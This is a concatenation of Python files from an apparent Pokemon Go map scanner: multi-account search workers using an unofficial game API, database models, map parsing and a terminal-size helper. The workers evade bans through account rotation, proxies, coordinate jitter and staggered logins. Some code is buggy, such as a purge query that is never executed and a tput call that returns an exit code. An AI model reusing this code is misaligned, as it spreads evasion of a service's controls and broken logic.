            else:
                locations = get_sps_location_list(args, current_location, sps_scan_current)
                sps_scan_current = False

            if len(locations) == 0:
                log.warning('Nothing to scan!')

            threadStatus['Overseer']['message'] = 'Queuing steps'
            for step, step_location in enumerate(locations, 1):
                log.debug('Queueing step %d @ %f/%f/%f', step, step_location[0][0], step_location[0][1], step_location[0][2])
                search_args = (step, step_location[0], step_location[1], step_location[2])
                search_items_queue.put(search_args)
        else:
            nextitem = search_items_queue.queue[0]
            threadStatus['Overseer']['message'] = 'Processing search queue, next item is {:6f},{:6f}'.format(nextitem[1][0], nextitem[1][1])
            # If times are specified, print the time of the next queue item, and how many seconds ahead/behind realtime
            if nextitem[2]:
                threadStatus['Overseer']['message'] += ' @ {}'.format(time.strftime('%H:%M:%S', time.localtime(nextitem[2])))
                if nextitem[2] > now():
                    threadStatus['Overseer']['message'] += ' ({}s ahead)'.format(nextitem[2] - now())
                else:
                    threadStatus['Overseer']['message'] += ' ({}s behind)'.format(now() - nextitem[2])

        # Now we just give a little pause here
        time.sleep(1)


def get_hex_location_list(args, current_location):
    # if we are only scanning for pokestops/gyms, then increase step radius to visibility range
    if args.no_pokemon:
        step_distance = 0.900
    else:
        step_distance = 0.070

    # update our list of coords
    locations = list(generate_location_steps(current_location, args.step_limit, step_distance))

    # In hex "spawns only" mode, filter out scan locations with no history of pokemons
    if args.spawnpoints_only and not args.no_pokemon:
        n, e, s, w = hex_bounds(current_location, args.step_limit)
        spawnpoints = set((d['latitude'], d['longitude']) for d in Pokemon.get_spawnpoints(s, w, n, e))

        if len(spawnpoints) == 0:
            log.warning('No spawnpoints found in the specified area! (Did you forget to run a normal scan in this area first?)')

        def any_spawnpoints_in_range(coords):
            return any(geopy.distance.distance(coords, x).meters <= 70 for x in spawnpoints)

        locations = [coords for coords in locations if any_spawnpoints_in_range(coords)]

    # put into the right struture with zero'ed before/after values
    # locations = [(lat, lng, alt, ts_appears, ts_leaves),...]
    locationsZeroed = []
    for location in locations:
        locationsZeroed.append(((location[0], location[1], 0), 0, 0))

    return locationsZeroed


def get_sps_location_list(args, current_location, sps_scan_current):
    locations = []

    # Attempt to load spawns from file
    if args.spawnpoint_scanning != 'nofile':
        log.debug('Loading spawn points from json file @ %s', args.spawnpoint_scanning)
        try:
            with open(args.spawnpoint_scanning) as file:
                locations = json.load(file)
        except ValueError as e:
            log.exception(e)
            log.error('JSON error: %s; will fallback to database', e)
        except IOError as e:
            log.error('Error opening json file: %s; will fallback to database', e)

    # No locations yet? Try the database!
    if not len(locations):
        log.debug('Loading spawn points from database')
        locations = Pokemon.get_spawnpoints_in_hex(current_location, args.step_limit)

    # Well shit...
    if not len(locations):
        raise Exception('No availabe spawn points!')

    # locations[]:
    # {"lat": 37.53079079414139, "lng": -122.28811690874117, "spawnpoint_id": "808f9f1601d", "time": 511

    log.info('Total of %d spawns to track', len(locations))

    locations.sort(key=itemgetter('time'))

    if args.debug:
        for i in locations:
            sec = i['time'] % 60
            minute = (i['time'] / 60) % 60
            m = 'Scan [{:02}:{:02}] ({}) @ {},{}'.format(minute, sec, i['time'], i['lat'], i['lng'])
            log.debug(m)

    # 'time' from json and db alike has been munged to appearance time as seconds after the hour
    # Here we'll convert that to a real timestamp
    for location in locations:
        # For a scan which should cover all CURRENT pokemon, we can offset
        # the comparison time by 15 minutes so that the "appears" time
        # won't be rolled over to the next hour.

        # TODO: Make it work. The original logic (commented out) was producing
        #       bogus results if your first scan was in the last 15 minute of
        #       the hour. Wrapping my head around this isn't work right now,
        #       so I'll just drop the feature for the time being. It does need
        #       to come back so that repositioning/pausing works more nicely,
        #       but we can live without it too.

        # if sps_scan_current:
        #     cursec = (location['time'] + 900) % 3600
        # else:
        cursec = location['time']

        if cursec > cur_sec():
            # hasn't spawn in the current hour
            from_now = location['time'] - cur_sec()
            appears = now() + from_now
        else:
            # won't spawn till next hour
            late_by = cur_sec() - location['time']
            appears = now() + 3600 - late_by

        location['appears'] = appears
        location['leaves'] = appears + 900

    # Put the spawn points in order of next appearance time
    locations.sort(key=itemgetter('appears'))

    # Match expected structure:
    # locations = [((lat, lng, alt), ts_appears, ts_leaves),...]
    retset = []
    for location in locations:
        retset.append(((location['lat'], location['lng'], 40.32), location['appears'], location['leaves']))

    return retset


def search_worker_thread(args, account, search_items_queue, pause_bit, encryption_lib_path, status, dbq, whq):

    stagger_thread(args, account)

    log.debug('Search worker thread starting')

    # The forever loop for the thread
    while True:
        try:
            # New lease of life right here
            status['fail'] = 0
            status['success'] = 0
            status['noitems'] = 0
            status['skip'] = 0

            # Create the API instance this will use
            if args.mock != '':
                api = FakePogoApi(args.mock)
            else:
                api = PGoApi()

            if args.proxy:
                api.set_proxy({'http': args.proxy, 'https': args.proxy})

            api.activate_signature(encryption_lib_path)

            # The forever loop for the searches
            while True:

                # If this account has been messing up too hard, let it rest
                if status['fail'] >= args.max_failures:
                    end_sleep = now() + (3600 * 2)
                    long_sleep_started = time.strftime('%H:%M:%S')
                    while now() < end_sleep:
                        status['message'] = 'Worker {} failed more than {} scans; possibly banned account. Sleeping for 2 hour sleep as of {}'.format(account['username'], args.max_failures, long_sleep_started)
                        log.error(status['message'])
                        time.sleep(300)
                    break  # exit this loop to have the API recreated

                while pause_bit.is_set():
                    status['message'] = 'Scanning paused'
                    time.sleep(2)

                # Grab the next thing to search (when available)
                status['message'] = 'Waiting for item from queue'
                step, step_location, appears, leaves = search_items_queue.get()

                # too soon?
                if appears and now() < appears + 10:  # adding a 10 second grace period
                    first_loop = True
                    paused = False
                    while now() < appears + 10:
                        if pause_bit.is_set():
                            paused = True
                            break  # why can't python just have `break 2`...
                        remain = appears - now() + 10
                        status['message'] = 'Early for {:6f},{:6f}; waiting {}s...'.format(step_location[0], step_location[1], remain)
                        if first_loop:
                            log.info(status['message'])
                            first_loop = False
                        time.sleep(1)
                    if paused:
                        search_items_queue.task_done()
                        continue

                # too late?
                if leaves and now() > (leaves - args.min_seconds_left):
                    search_items_queue.task_done()
                    status['skip'] += 1
                    # it is slightly silly to put this in status['message'] since it'll be overwritten very shortly after. Oh well.
                    status['message'] = 'Too late for location {:6f},{:6f}; skipping'.format(step_location[0], step_location[1])
                    log.info(status['message'])
                    # No sleep here; we've not done anything worth sleeping for. Plus we clearly need to catch up!
                    continue

                status['message'] = 'Searching at {:6f},{:6f}'.format(step_location[0], step_location[1])
                log.info(status['message'])

                # Let the api know where we intend to be for this loop
                api.set_position(*step_location)

                # Ok, let's get started -- check our login status
                check_login(args, account, api, step_location)

                # Make the actual request (finally!)
                response_dict = map_request(api, step_location, args.jitter)

                # G'damnit, nothing back. Mark it up, sleep, carry on
                if not response_dict:
                    status['fail'] += 1
                    status['message'] = 'Invalid response at {:6f},{:6f}, abandoning location'.format(step_location[0], step_location[1])
                    log.error(status['message'])
                    time.sleep(args.scan_delay)
                    continue

                # Got the response, parse it out, send todo's to db/wh queues
                try:
                    findCount = parse_map(args, response_dict, step_location, dbq, whq)
                    search_items_queue.task_done()
                    status[('success' if findCount > 0 else 'noitems')] += 1
                    status['message'] = 'Search at {:6f},{:6f} completed with {} finds'.format(step_location[0], step_location[1], findCount)
                    log.debug(status['message'])
                except KeyError:
                    status['fail'] += 1
                    status['message'] = 'Map parse failed at {:6f},{:6f}, abandoning location. {} may be banned.'.format(step_location[0], step_location[1], account['username'])
                    log.exception(status['message'])

                # Always delay the desired amount after "scan" completion
                status['message'] += ', sleeping {}s until {}'.format(args.scan_delay, time.strftime('%H:%M:%S', time.localtime(time.time() + args.scan_delay)))
                time.sleep(args.scan_delay)

        # catch any process exceptions, log them, and continue the thread
        except Exception as e:
            status['message'] = 'Exception in search_worker: {}'.format(e)
            log.exception(status['message'])
            time.sleep(args.scan_delay)


def check_login(args, account, api, position):

    # Logged in? Enough time left? Cool!
    if api._auth_provider and api._auth_provider._ticket_expire:
        remaining_time = api._auth_provider._ticket_expire / 1000 - time.time()
        if remaining_time > 60:
            log.debug('Credentials remain valid for another %f seconds', remaining_time)
            return

    # Try to login (a few times, but don't get stuck here)
    i = 0
    api.set_position(position[0], position[1], position[2])
    while i < args.login_retries:
        try:
            if args.proxy:
                api.set_authentication(provider=account['auth_service'], username=account['username'], password=account['password'], proxy_config={'http': args.proxy, 'https': args.proxy})
            else:
                api.set_authentication(provider=account['auth_service'], username=account['username'], password=account['password'])
            break
        except AuthException:
            if i >= args.login_retries:
                raise TooManyLoginAttempts('Exceeded login attempts')
            else:
                i += 1
                log.error('Failed to login to Pokemon Go with account %s. Trying again in %g seconds', account['username'], args.login_delay)
                time.sleep(args.login_delay)

    log.debug('Login for account %s successful', account['username'])
    time.sleep(args.scan_delay)


def map_request(api, position, jitter=False):
    # create scan_location to send to the api based off of position, because tuples aren't mutable
    if jitter:
        # jitter it, just a little bit.
        scan_location = jitterLocation(position)
        log.debug('Jittered to: %f/%f/%f', scan_location[0], scan_location[1], scan_location[2])
    else:
        # Just use the original coordinates
        scan_location = position

    try:
        cell_ids = util.get_cell_ids(scan_location[0], scan_location[1])
        timestamps = [0, ] * len(cell_ids)
        return api.get_map_objects(latitude=f2i(scan_location[0]),
                                   longitude=f2i(scan_location[1]),
                                   since_timestamp_ms=timestamps,
                                   cell_id=cell_ids)
    except Exception as e:
        log.warning('Exception while downloading map: %s', e)
        return False


# Delay each thread start time so that logins only occur ~1s
def stagger_thread(args, account):
    if args.accounts.index(account) == 0:
        return  # No need to delay the first one
    delay = args.accounts.index(account) + ((random.random() - .5) / 2)
    log.debug('Delaying thread startup for %.2f seconds', delay)
    time.sleep(delay)


class TooManyLoginAttempts(Exception):
    pass






class APIKeyException(Exception):
    pass






#!/usr/bin/python
# -*- coding: utf-8 -*-
import logging
import calendar
import sys
import time
import geopy
from peewee import SqliteDatabase, InsertQuery, \
    IntegerField, CharField, DoubleField, BooleanField, \
    DateTimeField, CompositeKey, fn
from playhouse.flask_utils import FlaskDB
from playhouse.pool import PooledMySQLDatabase
from playhouse.shortcuts import RetryOperationalError
from playhouse.migrate import migrate, MySQLMigrator, SqliteMigrator
from datetime import datetime, timedelta
from base64 import b64encode

from . import config
from .utils import get_pokemon_name, get_pokemon_rarity, get_pokemon_types, get_args
from .transform import transform_from_wgs_to_gcj, get_new_coords, generate_location_steps
from .customLog import printPokemon

log = logging.getLogger(__name__)

args = get_args()
flaskDb = FlaskDB()

db_schema_version = 5


class MyRetryDB(RetryOperationalError, PooledMySQLDatabase):
    pass


def init_database(app):
    if args.db_type == 'mysql':
        log.info('Connecting to MySQL database on %s:%i', args.db_host, args.db_port)
        connections = args.db_max_connections
        if hasattr(args, 'accounts'):
            connections *= len(args.accounts)
        db = MyRetryDB(
            args.db_name,
            user=args.db_user,
            password=args.db_pass,
            host=args.db_host,
            port=args.db_port,
            max_connections=connections,
            stale_timeout=300)
    else:
        log.info('Connecting to local SQLite database')
        db = SqliteDatabase(args.db)

    app.config['DATABASE'] = db
    flaskDb.init_app(app)

    return db


class BaseModel(flaskDb.Model):

    @classmethod
    def get_all(cls):
        results = [m for m in cls.select().dicts()]
        if args.china:
            for result in results:
                result['latitude'], result['longitude'] = \
                    transform_from_wgs_to_gcj(
                        result['latitude'], result['longitude'])
        return results


class Pokemon(BaseModel):
    # We are base64 encoding the ids delivered by the api
    # because they are too big for sqlite to handle
    encounter_id = CharField(primary_key=True, max_length=50)
    spawnpoint_id = CharField(index=True)
    pokemon_id = IntegerField(index=True)
    latitude = DoubleField()
    longitude = DoubleField()
    disappear_time = DateTimeField(index=True)

    class Meta:
        indexes = ((('latitude', 'longitude'), False),)

    @staticmethod
    def get_active(swLat, swLng, neLat, neLng):
        if swLat is None or swLng is None or neLat is None or neLng is None:
            query = (Pokemon
                     .select()
                     .where(Pokemon.disappear_time > datetime.utcnow())
                     .dicts())
        else:
            query = (Pokemon
                     .select()
                     .where((Pokemon.disappear_time > datetime.utcnow()) &
                            (Pokemon.latitude >= swLat) &
                            (Pokemon.longitude >= swLng) &
                            (Pokemon.latitude <= neLat) &
                            (Pokemon.longitude <= neLng))
                     .dicts())

        pokemons = []
        for p in query:
            p['pokemon_name'] = get_pokemon_name(p['pokemon_id'])
            p['pokemon_rarity'] = get_pokemon_rarity(p['pokemon_id'])
            p['pokemon_types'] = get_pokemon_types(p['pokemon_id'])
            if args.china:
                p['latitude'], p['longitude'] = \
                    transform_from_wgs_to_gcj(p['latitude'], p['longitude'])
            pokemons.append(p)

        return pokemons

    @staticmethod
    def get_active_by_id(ids, swLat, swLng, neLat, neLng):
        if swLat is None or swLng is None or neLat is None or neLng is None:
            query = (Pokemon
                     .select()
                     .where((Pokemon.pokemon_id << ids) &
                            (Pokemon.disappear_time > datetime.utcnow()))
                     .dicts())
        else:
            query = (Pokemon
                     .select()
                     .where((Pokemon.pokemon_id << ids) &
                            (Pokemon.disappear_time > datetime.utcnow()) &
                            (Pokemon.latitude >= swLat) &
                            (Pokemon.longitude >= swLng) &
                            (Pokemon.latitude <= neLat) &
                            (Pokemon.longitude <= neLng))
                     .dicts())

        pokemons = []
        for p in query:
            p['pokemon_name'] = get_pokemon_name(p['pokemon_id'])
            p['pokemon_rarity'] = get_pokemon_rarity(p['pokemon_id'])
            p['pokemon_types'] = get_pokemon_types(p['pokemon_id'])
            if args.china:
                p['latitude'], p['longitude'] = \
                    transform_from_wgs_to_gcj(p['latitude'], p['longitude'])
            pokemons.append(p)

        return pokemons

    @classmethod
    def get_seen(cls, timediff):
        if timediff:
            timediff = datetime.utcnow() - timediff
        pokemon_count_query = (Pokemon
                               .select(Pokemon.pokemon_id,
                                       fn.COUNT(Pokemon.pokemon_id).alias('count'),
                                       fn.MAX(Pokemon.disappear_time).alias('lastappeared')
                                       )
                               .where(Pokemon.disappear_time > timediff)
                               .group_by(Pokemon.pokemon_id)
                               .alias('counttable')
                               )
        query = (Pokemon
                 .select(Pokemon.pokemon_id,
                         Pokemon.disappear_time,
                         Pokemon.latitude,
                         Pokemon.longitude,
                         pokemon_count_query.c.count)
                 .join(pokemon_count_query, on=(Pokemon.pokemon_id == pokemon_count_query.c.pokemon_id))
                 .where(Pokemon.disappear_time == pokemon_count_query.c.lastappeared)
                 .dicts()
                 )
        pokemons = []
        total = 0
        for p in query:
            p['pokemon_name'] = get_pokemon_name(p['pokemon_id'])
            pokemons.append(p)
            total += p['count']

        return {'pokemon': pokemons, 'total': total}

    @classmethod
    def get_appearances(cls, pokemon_id, last_appearance):
        query = (Pokemon
                 .select()
                 .where((Pokemon.pokemon_id == pokemon_id) &
                        (Pokemon.disappear_time > datetime.utcfromtimestamp(last_appearance / 1000.0))
                        )
                 .order_by(Pokemon.disappear_time.asc())
                 .dicts()
                 )
        appearances = []
        for a in query:
            appearances.append(a)
        return appearances

    @classmethod
    def get_spawnpoints(cls, southBoundary, westBoundary, northBoundary, eastBoundary):
        query = Pokemon.select(Pokemon.latitude, Pokemon.longitude, Pokemon.spawnpoint_id)

        if None not in (northBoundary, southBoundary, westBoundary, eastBoundary):
            query = (query
                     .where((Pokemon.latitude <= northBoundary) &
                            (Pokemon.latitude >= southBoundary) &
                            (Pokemon.longitude >= westBoundary) &
                            (Pokemon.longitude <= eastBoundary)
                            ))

        # Sqlite doesn't support distinct on columns
        if args.db_type == 'mysql':
            query = query.distinct(Pokemon.spawnpoint_id)
        else:
            query = query.group_by(Pokemon.spawnpoint_id)

        return list(query.dicts())

    @classmethod
    def get_spawnpoints_in_hex(cls, center, steps):
        log.info('Finding spawn points {} steps away'.format(steps))

        n, e, s, w = hex_bounds(center, steps)

        query = (Pokemon
                 .select(Pokemon.latitude.alias('lat'),
                         Pokemon.longitude.alias('lng'),
                         ((Pokemon.disappear_time.minute * 60) + Pokemon.disappear_time.second).alias('time'),
                         Pokemon.spawnpoint_id
                         ))
        query = (query.where((Pokemon.latitude <= n) &
                             (Pokemon.latitude >= s) &
                             (Pokemon.longitude >= w) &
                             (Pokemon.longitude <= e)
                             ))
        # Sqlite doesn't support distinct on columns
        if args.db_type == 'mysql':
            query = query.distinct(Pokemon.spawnpoint_id)
        else:
            query = query.group_by(Pokemon.spawnpoint_id)

        s = list(query.dicts())

        # Filter to spawns which actually fall in the hex locations
        # This loop is about as non-pythonic as you can get, I bet.
        # Oh well.
        filtered = []
        hex_locations = list(generate_location_steps(center, steps, 0.07))
        for hl in hex_locations:
            for idx, sp in enumerate(s):
                if geopy.distance.distance(hl, (sp['lat'], sp['lng'])).meters <= 70:
                    filtered.append(s.pop(idx))

        # at this point, 'time' is DISAPPEARANCE time, we're going to morph it to APPEARANCE time
        for location in filtered:
            # examples: time    shifted
            #           0       (   0 + 2700) = 2700 % 3600 = 2700 (0th minute to 45th minute, 15 minutes prior to appearance as time wraps around the hour)
            #           1800    (1800 + 2700) = 4500 % 3600 =  900 (30th minute, moved to arrive at 15th minute)
            # todo: this DOES NOT ACCOUNT for pokemons that appear sooner and live longer, but you'll _always_ have at least 15 minutes, so it works well enough
            location['time'] = (location['time'] + 2700) % 3600

        return filtered


class Pokestop(BaseModel):
    pokestop_id = CharField(primary_key=True, max_length=50)
    enabled = BooleanField()
    latitude = DoubleField()
    longitude = DoubleField()
    last_modified = DateTimeField(index=True)
    lure_expiration = DateTimeField(null=True, index=True)
    active_fort_modifier = CharField(max_length=50, null=True)

    class Meta:
        indexes = ((('latitude', 'longitude'), False),)

    @staticmethod
    def get_stops(swLat, swLng, neLat, neLng):
        if swLat is None or swLng is None or neLat is None or neLng is None:
            query = (Pokestop
                     .select()
                     .dicts())
        else:
            query = (Pokestop
                     .select()
                     .where((Pokestop.latitude >= swLat) &
                            (Pokestop.longitude >= swLng) &
                            (Pokestop.latitude <= neLat) &
                            (Pokestop.longitude <= neLng))
                     .dicts())

        pokestops = []
        for p in query:
            if args.china:
                p['latitude'], p['longitude'] = \
                    transform_from_wgs_to_gcj(p['latitude'], p['longitude'])
            pokestops.append(p)

        return pokestops


class Gym(BaseModel):
    UNCONTESTED = 0
    TEAM_MYSTIC = 1
    TEAM_VALOR = 2
    TEAM_INSTINCT = 3

    gym_id = CharField(primary_key=True, max_length=50)
    team_id = IntegerField()
    guard_pokemon_id = IntegerField()
    gym_points = IntegerField()
    enabled = BooleanField()
    latitude = DoubleField()
    longitude = DoubleField()
    last_modified = DateTimeField(index=True)

    class Meta:
        indexes = ((('latitude', 'longitude'), False),)

    @staticmethod
    def get_gyms(swLat, swLng, neLat, neLng):
        if swLat is None or swLng is None or neLat is None or neLng is None:
            query = (Gym
                     .select()
                     .dicts())
        else:
            query = (Gym
                     .select()
                     .where((Gym.latitude >= swLat) &
                            (Gym.longitude >= swLng) &
                            (Gym.latitude <= neLat) &
                            (Gym.longitude <= neLng))
                     .dicts())

        gyms = []
        for g in query:
            gyms.append(g)

        return gyms


class ScannedLocation(BaseModel):
    latitude = DoubleField()
    longitude = DoubleField()
    last_modified = DateTimeField(index=True)

    class Meta:
        primary_key = CompositeKey('latitude', 'longitude')

    @staticmethod
    def get_recent(swLat, swLng, neLat, neLng):
        query = (ScannedLocation
                 .select()
                 .where((ScannedLocation.last_modified >=
                        (datetime.utcnow() - timedelta(minutes=15))) &
                        (ScannedLocation.latitude >= swLat) &
                        (ScannedLocation.longitude >= swLng) &
                        (ScannedLocation.latitude <= neLat) &
                        (ScannedLocation.longitude <= neLng))
                 .dicts())

        scans = []
        for s in query:
            scans.append(s)

        return scans


class Versions(flaskDb.Model):
    key = CharField()
    val = IntegerField()

    class Meta:
        primary_key = False


def hex_bounds(center, steps):
    # Make a box that is (70m * step_limit * 2) + 70m away from the center point
    # Rationale is that you need to travel
    sp_dist = 0.07 * 2 * steps
    n = get_new_coords(center, sp_dist, 0)[0]
    e = get_new_coords(center, sp_dist, 90)[1]
    s = get_new_coords(center, sp_dist, 180)[0]
    w = get_new_coords(center, sp_dist, 270)[1]
    return (n, e, s, w)


# todo: this probably shouldn't _really_ be in "models" anymore, but w/e
def parse_map(args, map_dict, step_location, db_update_queue, wh_update_queue):
    pokemons = {}
    pokestops = {}
    gyms = {}

    cells = map_dict['responses']['GET_MAP_OBJECTS']['map_cells']
    for cell in cells:
        if config['parse_pokemon']:
            for p in cell.get('wild_pokemons', []):
                # time_till_hidden_ms was overflowing causing a negative integer.
                # It was also returning a value above 3.6M ms.
                if 0 < p['time_till_hidden_ms'] < 3600000:
                    d_t = datetime.utcfromtimestamp(
                        (p['last_modified_timestamp_ms'] +
                         p['time_till_hidden_ms']) / 1000.0)
                else:
                    # Set a value of 15 minutes because currently its unknown but larger than 15.
                    d_t = datetime.utcfromtimestamp((p['last_modified_timestamp_ms'] + 900000) / 1000.0)

                printPokemon(p['pokemon_data']['pokemon_id'], p['latitude'],
                             p['longitude'], d_t)
                pokemons[p['encounter_id']] = {
                    'encounter_id': b64encode(str(p['encounter_id'])),
                    'spawnpoint_id': p['spawn_point_id'],
                    'pokemon_id': p['pokemon_data']['pokemon_id'],
                    'latitude': p['latitude'],
                    'longitude': p['longitude'],
                    'disappear_time': d_t
                }

                if args.webhooks:
                    wh_update_queue.put(('pokemon', {
                        'encounter_id': b64encode(str(p['encounter_id'])),
                        'spawnpoint_id': p['spawn_point_id'],
                        'pokemon_id': p['pokemon_data']['pokemon_id'],
                        'latitude': p['latitude'],
                        'longitude': p['longitude'],
                        'disappear_time': calendar.timegm(d_t.timetuple()),
                        'last_modified_time': p['last_modified_timestamp_ms'],
                        'time_until_hidden_ms': p['time_till_hidden_ms']
                    }))

        for f in cell.get('forts', []):
            if config['parse_pokestops'] and f.get('type') == 1:  # Pokestops
                if 'active_fort_modifier' in f:
                    lure_expiration = datetime.utcfromtimestamp(
                        f['last_modified_timestamp_ms'] / 1000.0) + timedelta(minutes=30)
                    active_fort_modifier = f['active_fort_modifier']
                    if args.webhooks and args.webhook_updates_only:
                        wh_update_queue.put(('pokestop', {
                            'pokestop_id': b64encode(str(f['id'])),
                            'enabled': f['enabled'],
                            'latitude': f['latitude'],
                            'longitude': f['longitude'],
                            'last_modified_time': f['last_modified_timestamp_ms'],
                            'lure_expiration': calendar.timegm(lure_expiration.timetuple()),
                            'active_fort_modifier': active_fort_modifier
                        }))
                else:
                    lure_expiration, active_fort_modifier = None, None

                pokestops[f['id']] = {
                    'pokestop_id': f['id'],
                    'enabled': f['enabled'],
                    'latitude': f['latitude'],
                    'longitude': f['longitude'],
                    'last_modified': datetime.utcfromtimestamp(
                        f['last_modified_timestamp_ms'] / 1000.0),
                    'lure_expiration': lure_expiration,
                    'active_fort_modifier': active_fort_modifier
                }

                # Send all pokéstops to webhooks
                if args.webhooks and not args.webhook_updates_only:
                    # Explicitly set 'webhook_data', in case we want to change the information pushed to webhooks,
                    # similar to above and previous commits.
                    l_e = None

                    if lure_expiration is not None:
                        l_e = calendar.timegm(lure_expiration.timetuple())

                    wh_update_queue.put(('pokestop', {
                        'pokestop_id': b64encode(str(f['id'])),
                        'enabled': f['enabled'],
                        'latitude': f['latitude'],
                        'longitude': f['longitude'],
                        'last_modified': calendar.timegm(pokestops[f['id']]['last_modified'].timetuple()),
                        'lure_expiration': l_e,
                        'active_fort_modifier': active_fort_modifier
                    }))

            elif config['parse_gyms'] and f.get('type') is None:  # Currently, there are only stops and gyms
                gyms[f['id']] = {
                    'gym_id': f['id'],
                    'team_id': f.get('owned_by_team', 0),
                    'guard_pokemon_id': f.get('guard_pokemon_id', 0),
                    'gym_points': f.get('gym_points', 0),
                    'enabled': f['enabled'],
                    'latitude': f['latitude'],
                    'longitude': f['longitude'],
                    'last_modified': datetime.utcfromtimestamp(
                        f['last_modified_timestamp_ms'] / 1000.0),
                }

                # Send gyms to webhooks
                if args.webhooks and not args.webhook_updates_only:
                    # Explicitly set 'webhook_data', in case we want to change the information pushed to webhooks,
                    # similar to above and previous commits.
                    wh_update_queue.put(('gym', {
                        'gym_id': b64encode(str(f['id'])),
                        'team_id': f.get('owned_by_team', 0),
                        'guard_pokemon_id': f.get('guard_pokemon_id', 0),
                        'gym_points': f.get('gym_points', 0),
                        'enabled': f['enabled'],
                        'latitude': f['latitude'],
                        'longitude': f['longitude'],
                        'last_modified': calendar.timegm(gyms[f['id']]['last_modified'].timetuple())
                    }))

    if len(pokemons):
        db_update_queue.put((Pokemon, pokemons))
    if len(pokestops):
        db_update_queue.put((Pokestop, pokestops))
    if len(gyms):
        db_update_queue.put((Gym, gyms))

    log.info('Parsing found %d pokemons, %d pokestops, and %d gyms',
             len(pokemons),
             len(pokestops),
             len(gyms))

    db_update_queue.put((ScannedLocation, {0: {
        'latitude': step_location[0],
        'longitude': step_location[1],
        'last_modified': datetime.utcnow()
    }}))

    return len(pokemons) + len(pokestops) + len(gyms)


def db_updater(args, q):
    # The forever loop
    while True:
        try:

            while True:
                try:
                    flaskDb.connect_db()
                    break
                except Exception as e:
                    log.warning('%s... Retrying', e)

            # Loop the queue
            while True:
                model, data = q.get()
                bulk_upsert(model, data)
                q.task_done()
                log.debug('Upserted to %s, %d records (upsert queue remaining: %d)',
                          model.__name__,
                          len(data),
                          q.qsize())
                if q.qsize() > 50:
                    log.warning("DB queue is > 50 (@%d); try increasing --db-threads", q.qsize())

        except Exception as e:
            log.exception('Exception in db_updater: %s', e)


def clean_db_loop(args):
    while True:
        try:

            # Clean out old scanned locations
            query = (ScannedLocation
                     .delete()
                     .where((ScannedLocation.last_modified <
                            (datetime.utcnow() - timedelta(minutes=30)))))
            query.execute()

            # If desired, clear old pokemon spawns
            if args.purge_data > 0:
                query = (Pokemon
                         .delete()
                         .where((Pokemon.disappear_time <
                                (datetime.utcnow() - timedelta(hours=args.purge_data)))))

            log.info('Regular database cleaning complete')
            time.sleep(60)
        except Exception as e:
            log.exception('Exception in clean_db_loop: %s', e)


def bulk_upsert(cls, data):
    num_rows = len(data.values())
    i = 0
    step = 120

    while i < num_rows:
        log.debug('Inserting items %d to %d', i, min(i + step, num_rows))
        try:
            InsertQuery(cls, rows=data.values()[i:min(i + step, num_rows)]).upsert().execute()
        except Exception as e:
            log.warning('%s... Retrying', e)
            continue

        i += step


def create_tables(db):
    db.connect()
    verify_database_schema(db)
    db.create_tables([Pokemon, Pokestop, Gym, ScannedLocation], safe=True)
    db.close()


def drop_tables(db):
    db.connect()
    db.drop_tables([Pokemon, Pokestop, Gym, ScannedLocation, Versions], safe=True)
    db.close()


def verify_database_schema(db):
    if not Versions.table_exists():
        db.create_tables([Versions])

        if ScannedLocation.table_exists():
            # Versions table didn't exist, but there were tables. This must mean the user
            # is coming from a database that existed before we started tracking the schema
            # version. Perform a full upgrade.
            InsertQuery(Versions, {Versions.key: 'schema_version', Versions.val: 0}).execute()
            database_migrate(db, 0)
        else:
            InsertQuery(Versions, {Versions.key: 'schema_version', Versions.val: db_schema_version}).execute()

    else:
        db_ver = Versions.get(Versions.key == 'schema_version').val

        if db_ver < db_schema_version:
            database_migrate(db, db_ver)

        elif db_ver > db_schema_version:
            log.error("Your database version (%i) appears to be newer than the code supports (%i).",
                      db_ver, db_schema_version)
            log.error("Please upgrade your code base or drop all tables in your database.")
            sys.exit(1)


def database_migrate(db, old_ver):
    # Update database schema version
    Versions.update(val=db_schema_version).where(Versions.key == 'schema_version').execute()

    log.info("Detected database version %i, updating to %i", old_ver, db_schema_version)

    # Perform migrations here
    migrator = None
    if args.db_type == 'mysql':
        migrator = MySQLMigrator(db)
    else:
        migrator = SqliteMigrator(db)

#   No longer necessary, we're doing this at schema 4 as well
#    if old_ver < 1:
#        db.drop_tables([ScannedLocation])

    if old_ver < 2:
        migrate(migrator.add_column('pokestop', 'encounter_id', CharField(max_length=50, null=True)))

    if old_ver < 3:
        migrate(
            migrator.add_column('pokestop', 'active_fort_modifier', CharField(max_length=50, null=True)),
            migrator.drop_column('pokestop', 'encounter_id'),
            migrator.drop_column('pokestop', 'active_pokemon_id')
        )

    if old_ver < 4:
        db.drop_tables([ScannedLocation])

    if old_ver < 5:
        # Some pokemon were added before the 595 bug was "fixed"
        # Clean those up for a better UX
        query = (Pokemon
                 .delete()
                 .where(Pokemon.disappear_time >
                        (datetime.utcnow() - timedelta(hours=24))))
        query.execute()






#!/usr/bin/env python
import os
import shlex
import struct
import platform
import subprocess


def get_terminal_size():
    """ getTerminalSize()
     - get width and height of console
     - works on linux,os x,windows,cygwin(windows)
     originally retrieved from:
     http://stackoverflow.com/questions/566746/how-to-get-console-window-width-in-python
    """
    current_os = platform.system()
    tuple_xy = None
    if current_os == 'Windows':
        tuple_xy = _get_terminal_size_windows()
        if tuple_xy is None:
            tuple_xy = _get_terminal_size_tput()
            # needed for window's python in cygwin's xterm!
    if current_os in ['Linux', 'Darwin'] or current_os.startswith('CYGWIN'):
        tuple_xy = _get_terminal_size_linux()
    if tuple_xy is None:
        print "default"
        tuple_xy = (80, 25)      # default value
    return tuple_xy


def _get_terminal_size_windows():
    try:
        from ctypes import windll, create_string_buffer
        # stdin handle is -10
        # stdout handle is -11
        # stderr handle is -12
        h = windll.kernel32.GetStdHandle(-12)
        csbi = create_string_buffer(22)
        res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)
        if res:
            (bufx, bufy, curx, cury, wattr,
             left, top, right, bottom,
             maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw)
            sizex = right - left + 1
            sizey = bottom - top + 1
            return sizex, sizey
    except:
        pass


def _get_terminal_size_tput():
    # get terminal width
    # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window
    try:
        cols = int(subprocess.check_call(shlex.split('tput cols')))
        rows = int(subprocess.check_call(shlex.split('tput lines')))
        return (cols, rows)
    except:
        pass


def _get_terminal_size_linux():
    def ioctl_GWINSZ(fd):
        try:
            import fcntl
            import termios
            cr = struct.unpack('hh',
                               fcntl.ioctl(fd, termios.TIOCGWINSZ, '1234'))
            return cr
        except:
            pass
